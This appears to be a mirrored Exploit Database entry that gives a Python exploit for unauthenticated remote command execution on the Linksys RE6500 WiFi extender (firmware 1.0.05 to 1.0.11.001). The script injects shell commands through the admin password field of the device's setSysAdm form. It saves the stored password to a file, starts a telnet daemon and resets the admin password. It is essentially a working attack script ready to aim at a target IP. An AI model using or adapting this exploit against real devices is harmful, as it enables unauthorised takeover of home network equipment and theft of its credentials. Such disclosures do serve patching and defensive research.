Linksys RE6500 1.0.11.001 – Unauthenticated RCE

• Exploit Database
• 103 阅读

• 作者： RE-Solver
  日期： 2020-12-17
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/49270/

• # Exploit Title: Linksys RE6500 1.0.11.001 - Unauthenticated RCE
  # Date: 31/07/2020
  # Exploit Author: RE-Solver
  # Public disclosure: https://resolverblog.blogspot.com/2020/07/linksys-re6500-unauthenticated-rce-full.html#4
  # Vendor Homepage: www.linksys.com
  # Version:FW V1.05 up to FW v1.0.11.001
  # Tested on: FW V1.05 up to FW v1.0.11.001
  # Linksys RE6500 V1.0.05.003 and newer - Unauthenticated RCE
  # Unsanitized user input in the web interface for Linksys WiFi extender RE6500 allows Unauthenticated remote command execution. 
  # An attacker can access system OS configurations and commands that are not intended for use beyond the web UI. 
  
  #!/usr/bin/env python
  
  from requests import Session
  import requests
  import os
  print("Linksys RE6500, RE6500 - Unsanitized user input allows Unauthenticated remote command execution.")
  print("Tested on FW V1.05 up to FW v1.0.11.001")
  print("RE-Solver @solver_re")
  ip="192.168.1.226"
  
  command="nvram_get Password >/tmp/lastpwd"
  #save device password;
  post_data="admuser=admin&admpass=;"+command+";&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
  url_codeinjection="http://"+ip+"/goform/setSysAdm"
  s = requests.Session()
  s.headers.update({'Origin': "http://"+ip})
  s.headers.update({'Referer': "http://"+ip+"/login.shtml"})
  
  r= s.post(url_codeinjection, data=post_data)
  if r.status_code == 200:
  print("[+] Prev password saved in /tmp/lastpwd")
  
  command="busybox telnetd"
  #start telnetd;
  post_data="admuser=admin&admpass=;"+command+";&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
  url_codeinjection="http://"+ip+"/goform/setSysAdm"
  s = requests.Session()
  s.headers.update({'Origin': "http://"+ip})
  s.headers.update({'Referer': "http://"+ip+"/login.shtml"})
  
  r=s.post(url_codeinjection, data=post_data)
  if r.status_code == 200:
  print("[+] Telnet Enabled")
  
  #set admin password
  post_data="admuser=admin&admpass=0000074200016071000071120003627500015159&confirmadmpass=admin&admpasshint=61646D696E=&AuthTimeout=600&wirelessMgmt_http=1"
  url_codeinjection="http://"+ip+"/goform/setSysAdm"
  s = requests.Session()
  s.headers.update({'Origin': "http://"+ip})
  s.headers.update({'Referer': "http://"+ip+"/login.shtml"})
  r=s.post(url_codeinjection, data=post_data)
  if r.status_code == 200:
  print("[+] Prevent corrupting nvram - set a new password= admin")
  

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